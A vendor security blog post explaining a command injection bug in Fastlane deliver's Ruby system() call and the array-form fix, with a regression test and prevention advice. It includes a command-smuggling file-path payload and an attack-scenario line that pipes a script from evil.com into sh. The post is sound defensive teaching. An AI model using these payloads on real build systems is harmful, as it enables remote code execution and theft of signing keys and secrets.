Back to Blog
high SEVERITY6 min read

How shell command injection happens in Ruby and how to fix it

A critical command injection vulnerability was discovered in Fastlane's deliver module where `system("open '#{html_path}'")` allowed shell metacharacters in file paths to execute arbitrary commands. The fix replaces vulnerable string interpolation with array-based argument passing, eliminating the shell entirely.

O
By Orbis AppSec
Published August 31, 2026Reviewed August 31, 2026

Answer Summary

This is a shell command injection vulnerability (CWE-78) in Ruby's `system()` call at `deliver/lib/deliver/html_generator.rb:27`. The vulnerable code `system("open '#{html_path}'")` passed user-influenced file paths through shell interpolation, allowing attackers to inject commands via specially crafted paths like `/tmp/foo'$(touch /tmp/pwned).html`. The fix replaces the single-string form with `system("open", html_path)`, passing arguments as an array that bypasses shell interpretation entirely.

Vulnerability at a Glance

cweCWE-78 (OS Command Injection)
fixUse array-form system() to pass arguments directly without shell interpretation
riskHigh — arbitrary code execution via malicious file paths
languageRuby
root causeSingle-string system() call with unescaped user input in single quotes
vulnerabilityCommand injection via system() shell interpolation

Introduction

In the Fastlane deliver module, we discovered a high-severity command injection vulnerability in deliver/lib/deliver/html_generator.rb that could have allowed attackers to execute arbitrary shell commands through maliciously crafted file paths. The vulnerable code at line 27 used Ruby's system() function with string interpolation to open an HTML preview file:

system("open '#{html_path}'")

This pattern is deceptively dangerous. While the single quotes around #{html_path} might appear to provide protection, they create a false sense of security. When html_path contains carefully constructed characters, the resulting shell command can be hijacked to execute attacker-controlled code. This is particularly concerning in Fastlane's context, where deliver automates app store deployments and the HTML preview path could originate from various sources in the build environment.

The Vulnerability Explained

The vulnerability resides in the HTMLGenerator#run method, which generates and displays an HTML preview of app store metadata before upload. Here's the exact vulnerable code:

# deliver/lib/deliver/html_generator.rb:27 (BEFORE)
system("open '#{html_path}'")

Why This Pattern Is Dangerous

Ruby's system() has two distinct calling conventions:

  1. Single string form: system("command arg1 arg2") — invokes the shell to parse the command
  2. Array form: system("command", "arg1", "arg2") — executes directly without shell invocation

The vulnerable code uses the first form, which means /bin/sh -c "open '#{html_path}'" is executed. The single quotes in the Ruby string become literal single quotes in the shell command. An attacker who controls html_path can break out of these quotes with a payload like:

html_path = "/tmp/foo'$(touch /tmp/pwned).html"

This results in the shell command:

open '/tmp/foo'$(touch /tmp/pwned).html'

The shell interprets $(touch /tmp/pwned) as a command substitution, executing touch /tmp/pwned before the open command runs. More destructive payloads could exfiltrate environment variables, install backdoors, or pivot to other attacks.

Real-World Attack Scenario

Consider a CI/CD pipeline using Fastlane deliver. An attacker with access to the build environment could:

  1. Create a malicious workspace directory: mkdir -p "/tmp/build'; curl -s https://evil.com/s | sh #"
  2. Configure Fastlane to generate previews in this path
  3. When deliver runs, the html_path contains shell metacharacters
  4. The system() call executes the attacker's payload during what appears to be a legitimate preview step

The malicious command runs with the privileges of the CI/CD process, potentially compromising signing certificates, API keys, and production deployment capabilities.

The Fix

The remediation replaces the vulnerable single-string system() call with the array form that passes arguments directly without shell interpretation:

Before (Vulnerable)

# deliver/lib/deliver/html_generator.rb:27
system("open '#{html_path}'")

After (Fixed)

# deliver/lib/deliver/html_generator.rb:27
system("open", html_path)

Why This Change Works

The array form system("open", html_path) invokes open directly with html_path as a literal argument—no shell is involved. Even if html_path contains malicious characters like $(...), `...`, ;, or |, they are treated as literal filename characters, not shell syntax.

This is a behavior-preserving security fix: the open command still receives the same two arguments ("open" and the file path), but the execution path now bypasses shell interpretation entirely. The user experience remains identical for legitimate use cases while eliminating the injection vector.

Regression Test

The pull request includes a targeted regression test that verifies the security boundary:

describe :run do
  it "passes html_path as a separate argument to system, not via shell interpolation" do
    options = { force: false }
    screenshots = []
    malicious_path = "/tmp/foo'$(touch /tmp/pwned).html"

    allow(generator).to receive(:render).and_return(malicious_path)
    allow(FastlaneCore::UI).to receive(:important)
    allow(FastlaneCore::UI).to receive(:confirm).and_return(true)
    allow(FastlaneCore::UI).to receive(:success)
    expect(generator).to receive(:system).with("open", malicious_path)

    generator.run(options, screenshots)
  end
end

This test uses a classic command injection payload and asserts that system receives two separate arguments, not a single interpolated string. It will fail if the code reverts to shell interpolation, providing immediate detection of regression.

Prevention & Best Practices

Ruby Execution Safety Rules

Dangerous Pattern Safe Alternative
system("cmd #{input}") system("cmd", input)
system("cmd '#{input}'") system("cmd", input)
`cmd #{input}` Open3.capture2("cmd", input)
exec("cmd #{input}") exec("cmd", input)
%x{cmd #{input}} Open3.capture2("cmd", input)

Defense in Depth

  1. Prefer array forms: Always use system([env], command, arg1, arg2, options) or system(command, arg1, arg2) over string interpolation
  2. Avoid shell when possible: For complex pipelines, use Open3.pipeline or IO.popen with array arguments rather than shell redirections
  3. Validate paths: Even with safe APIs, validate that paths are within expected directories using Pathname#realpath or File.expand_path checks
  4. Audit for injection: Search for patterns like system\s*\(\s*["'][^"']*#{or use Semgrep'sruby.lang.security.dangerous-exec` rules

Detection Tools

  • Semgrep: ruby.lang.security.dangerous-exec.dangerous-exec — flags non-static commands in system, exec, `, %x{}
  • Brakeman: Detects command injection in Rails applications
  • CodeQL: rb/command-injection — tracks tainted data to execution sinks

Key Takeaways

  • Never use single-string system() with user-influenced data: Even with single quotes, shell interpolation creates injection opportunities that are difficult to fully sanitize
  • HTMLGenerator#run now uses array-form system("open", html_path): This specific method in Fastlane's deliver module was hardened against path-based command injection
  • The fix removes an exploit primitive: While this vulnerability required control over file paths, removing the shell execution primitive raises the bar against automated exploit chaining
  • Array arguments are the Ruby idiomatic security pattern: They eliminate an entire class of vulnerabilities at the API level without requiring complex input validation
  • Regression tests should verify security boundaries, not just functionality: The test validates that system receives separate arguments, catching reintroduction of the vulnerable pattern

How Orbis AppSec Detected This

Aspect Detail
Source The html_path variable, which derives from user-configurable output paths in Fastlane deliver options
Sink system("open '#{html_path}'") at deliver/lib/deliver/html_generator.rb:27
Missing control No sanitization or validation of shell metacharacters; use of dangerous single-string system() form
CWE CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Fix Replaced shell-interpolated string with array-form system("open", html_path) to bypass shell interpretation entirely

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Command injection vulnerabilities in Ruby often hide in plain sight, disguised by seemingly protective quoting patterns. The Fastlane deliver fix demonstrates that the only robust defense is architectural: eliminating shell interpretation entirely through array-form APIs. For developers maintaining Ruby applications, this case serves as a reminder to audit all system, exec, backtick, and %x{} calls—especially those handling file paths that may originate from external configuration. The minimal code change from system("open '#{path}'") to system("open", path) represents a fundamental security improvement that protects against an entire class of attacks.

References

  • CWE-78: OS Command Injection — https://cwe.mitre.org/data/definitions/78.html
  • OWASP Command Injection Prevention Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/Command_Injection_Prevention_Cheat_Sheet.html
  • Ruby Kernel#system documentation — https://ruby-doc.org/core/Kernel.html#method-i-system
  • Semgrep rule: ruby.lang.security.dangerous-exec.dangerous-exec — https://semgrep.dev/r?q=ruby.lang.security.dangerous-exec.dangerous-exec
  • harden: detected non-static command inside system in...

Frequently Asked Questions

What is command injection via system()?

It's a vulnerability where user-controlled input reaches a system() call in a way that allows shell metacharacters to execute arbitrary commands. In Ruby, `system("command #{input}")` is vulnerable while `system("command", input)` is safe.

How do you prevent command injection in Ruby?

Always use the array form of system(): `system("command", arg1, arg2)` instead of string interpolation. This passes arguments directly to the command without shell interpretation. For file paths, use `system("open", path)` not `system("open '#{path}'")`.

What CWE is command injection via system()?

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input validation enough to prevent command injection?

No. While validation helps, the only robust defense is avoiding shell interpretation entirely. Even "safe" characters can be bypassed, and validation logic often misses edge cases. Use array-form system() or `execve`-style APIs that don't invoke a shell.

Can static analysis detect command injection?

Yes. Semgrep's `ruby.lang.security.dangerous-exec.dangerous-exec` rule specifically flags non-static commands inside system() and other execution functions. Tools like Brakeman and CodeQL also detect these patterns.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #30147

Related Articles

critical

How command injection happens in Node.js shell-quote and how to fix it

The NeXroll frontend application used shell-quote 1.8.3, which contained a critical command injection vulnerability (CVE-2026-9277) that allowed attackers to execute arbitrary code through unescaped line terminators. The fix upgraded shell-quote to version 1.9.0 using npm overrides, preventing attackers from bypassing shell escaping mechanisms and injecting malicious commands into the application.

critical

How Command Injection Happens in Python Flask Applications and How to Fix It

A critical command injection vulnerability was discovered in a Flask application where `subprocess.Popen` and `subprocess.run` were called with `shell=True`, allowing attackers to execute arbitrary system commands through shell metacharacters. The fix replaces dangerous shell execution with `shlex.split()` for proper argument parsing and sets `shell=False` to prevent command injection attacks.

high

How javascript.lang.security.detect-child-process.detect-child-process happens in Node.js and how to fix it

A high-severity command injection vulnerability was discovered in `src/platform.js` where the `killPort()` function used `exec()` with string concatenation, allowing potential shell command injection through the `port` parameter. The fix replaces all `exec()` calls with `execFile()`, which bypasses shell interpretation entirely and passes arguments as an array, eliminating the injection vector.

high

How Shell Injection Happens in GitHub Actions and How to Fix It

A GitHub Actions workflow file contained a critical shell injection vulnerability where user-controlled inputs were directly interpolated into a shell command using `${{ }}` syntax. By moving the untrusted data into environment variables and properly quoting them, the vulnerability was eliminated while preserving all functionality.

high

How Command Injection Happens in Node.js Child Process Calls and How to Fix It

A high-severity command injection vulnerability was discovered in Vite's `shared.js` file where the `gitExec()` function used `execSync()` with string concatenation, allowing potential shell metacharacter injection. The fix replaces `execSync()` with `spawnSync()` and passes Git arguments as an array instead of a shell string, eliminating the injection vector entirely.

critical

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

A critical command injection vulnerability (CVE-2026-9277) was discovered in the shell-quote npm package, where unescaped line terminators could allow attackers to execute arbitrary code. The fix upgrades shell-quote from version 1.8.2 to 1.9.0 using npm overrides to ensure the patched version is used throughout the dependency tree, closing this dangerous attack vector.